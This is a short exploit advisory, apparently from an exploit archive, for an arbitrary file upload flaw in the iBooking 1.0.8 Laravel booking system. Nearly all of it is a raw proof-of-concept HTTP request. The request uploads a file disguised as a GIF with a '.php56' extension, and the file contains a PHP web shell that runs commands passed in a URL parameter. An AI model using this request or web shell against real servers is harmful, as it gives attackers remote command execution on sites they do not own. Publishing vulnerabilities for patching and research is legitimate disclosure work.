iBooking 1.0.8 Remote Shell Upload

# Exploit Title: iBooking v1.0.8 - Arbitrary File Upload# Exploit Author: d1z1n370/oPty# Date: 01/11/2022# Vendor Homepage: https://codecanyon.net/item/ibooking-laravel-booking-system/30362088# Tested on: Linux# Version: 1.0.8# Exploit Description:The application is prone to an arbitrary file-upload because it fails to adequately sanitize user-supplied input. An attacker can exploit these issues to upload arbitrary files in the context of the web server process and execute commands.# PoC request POST https://localhost/dashboard/upload-new-media HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/108.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://localhost/dashboard/settingsX-Requested-With: XMLHttpRequestContent-Type: multipart/form-data; boundary=---------------------------115904534120015298741783774062Content-Length: 449Connection: closeCookie: PHPSESSID=a36f66fa4a5751d4a15db458d573139c-----------------------------115904534120015298741783774062Content-Disposition: form-data; name="_token"kVTpp66poSLeJVYgb1sM6F7KIzQV2hbVfQLaUEEW-----------------------------115904534120015298741783774062Content-Disposition: form-data; name="is_modal"1-----------------------------115904534120015298741783774062Content-Disposition: form-data; name="file"; filename="upload.php56"Content-Type: image/gifGIF89a;<?php system($_GET['a']); phpinfo(); ?>-----------------------------115904534120015298741783774062--